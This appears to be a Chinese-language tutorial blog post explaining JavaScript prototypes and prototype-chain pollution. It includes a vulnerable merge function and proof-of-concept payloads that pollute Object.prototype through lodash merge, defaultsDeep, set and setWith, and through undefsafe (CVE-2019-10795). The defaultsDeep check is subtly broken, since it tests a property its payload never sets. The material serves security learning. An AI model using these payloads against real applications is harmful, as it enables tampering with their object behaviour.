Bootstrap

JS原型、原型链以及原型链污染学习

前置知识

对象

对象可以看作是一个包含数据(变量)和方法(函数)的属性集合。在js中一切引用类型都是对象。

引用类型:Array(数组)类型、Function(函数)类型、Object类型(引用类型的核心)、Data(日期)类型、RegExp(正则)类型

var hello = function() {
    console.log('hello world');
};
//这目前只是一个普通的函数
var a=new hello();
//当通过new关键字调用了hello函数时,hello就是一个构造函数

当使用new关键字调用函数时:首先js会隐式创建一个新的空对象,并将其作为this绑定到构造函数中。这个新对象的原型会被设置为构造函数的prototype对象(后面会说),接着函数体内部的代码会在新创建的对象上执行。

三个重要属性:__proto__prototypeconstructor

__proto__属性和constructor属性是对象特有的。__proto__通常称为隐式原型,prototype通常称为显式原型
prototype属性是函数独有的

在这里插入图片描述

以上面的代码为例

prototype属性

prototype属性是函数独有的,从一个函数指向一个对象,含义是函数的原型对象

因此prototype是一个对象,包含构造函数的所有实例共享的属性和方法(即让该函数所实例化的对象们都能找到共用的属性和方法)。

在函数创建时,会默认同时创建这个函数的prototype对象。

在这里插入图片描述

__proto__属性

__proto__属性是对象独有的,这个属性都是从一个对象指向一个对象,即指向他们各自的原型对象(父对象)。

因此__proto__的作用是告诉我们一个对象的原型对象是谁。
当访问一个对象的属性时,如果该对象内部不存在这个属性,就会去找它的__proto__属性所指向的对象,如果这个原型对象(父对象)也不存在,就会继续沿着这个原型对象(父对象)的__proto__属性找它的原型对象(爷爷对象)。如果还没找到,就继续找,直到原型链的顶端null

在这里插入图片描述

constructor

constructor属性也是对象独有的,这个属性从一个对象指向一个函数,即指向该对象的构造函数。所有函数的最终构造函数都指向了function

function()有一点特殊,它既可以看成函数也可以看成对象。所有函数和对象都是由function构造函数得到的,因此constructor属性的终点就是function()函数。
Function是原生构造函数,自动出现在运行环境中

在这里插入图片描述

总结

1、__proto__和constructor属性是对象独有的;而prototype属性是函数独有的。但函数也是一种对象,所有函数也拥有__proto__和constructor属性
2、__proto__通常被称为隐式原型,prototype通常被称为显式原型。一个对象的隐式原型指向了该对象的构造函数的显示原型。
3、函数创建的对象.__proto__===该函数.prototype
   函数.prototype.constructor===该函数本身
   因此在这个例子中a.__proto__===hello.prototype; hello.prototype.constructor===hello

JS原型与原型链继承

每个对象从创建的开始就和另一个对象关联,从另一个对象上继承它的属性,其中的另一个对象就是原型

由于对象及其原型组成的链子就是原型链

在这里插入图片描述

原型链污染

在js中没有类的概念,继承都是通过原型链来实现的。并且很少有真正的私有属性,类的所有属性都运行被公开的访问和修改,包括proto,构造函数和原型。因此攻击者可以通过注入其他值来覆盖或污染proto,构造函数和原型属性,这就是原型链污染。

Merge类操作原型链污染

Merge类操作是最常见的肯能控制键名的操作,因此也最可能导致原型链污染。

merge函数通常用于将多个对象合并成一个,但主要是将一个对象的属性复制到另一个对象中,生成一个新的合并结果

例:经典递归漏洞

#merge函数功能
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
//输出1   2
object3 = {}
console.log(object3.b)
//输出 2

可以看到object3的b是从原型获取到的,说明Object已被污染。

因为在json解析的时候,__proto__会被当成一个键名而不是原型,因此遍历object2时会存在这个键,所有Object被污染了

merge()不安全的原因:

1、这个函数对source对象中的所有属性进行迭代(对象source在键值相同的情况下拥有更高的优先权)
2、如果属性同时存在与第一个和第二个参数中,且都是Object的话,它就会递归地合并这个属性
3、如果控制了source[key]的值,使其变成__proto__,且能控制source__proto__属性的值,在递归的时候,target[key]在某个特定的时候,就会指向对象targetprototype,我们就能添加一个新的属性到该对象的原型链中了。

Lodash模块原型链污染

lodash是一个包含简化字符串、数字、数组、函数和对象的js库

lodash.defaultsDeep方法造成原型链污染

lodash库中的defaultsDeep函数可能会被包含constructor的payload添加或修改object.prototype

漏洞验证POC

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }
check();
lodash.merge 方法造成的原型链污染

lodash.merge作为lodash中的对象合并插件,它可以递归合并sources来源对象自身和继承的可枚举属性到object目标对象,以此来创建父映射对象

merge(object, sources)

漏洞验证POC

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.mergeWith 方法造成的原型链污染

lodash.mergeWith方法类似于merge方法,但它还会接受一个customizer,来决定如何合并,如果customizer返回undefined将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

漏洞验证POC

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染

lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象

set(object, path, value)

漏洞验证POC

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染

lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

漏洞验证POC

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe模块原型链污染

Undefsafe 是 Nodejs 的一个第三方模块,其核心是一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3版本)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!
;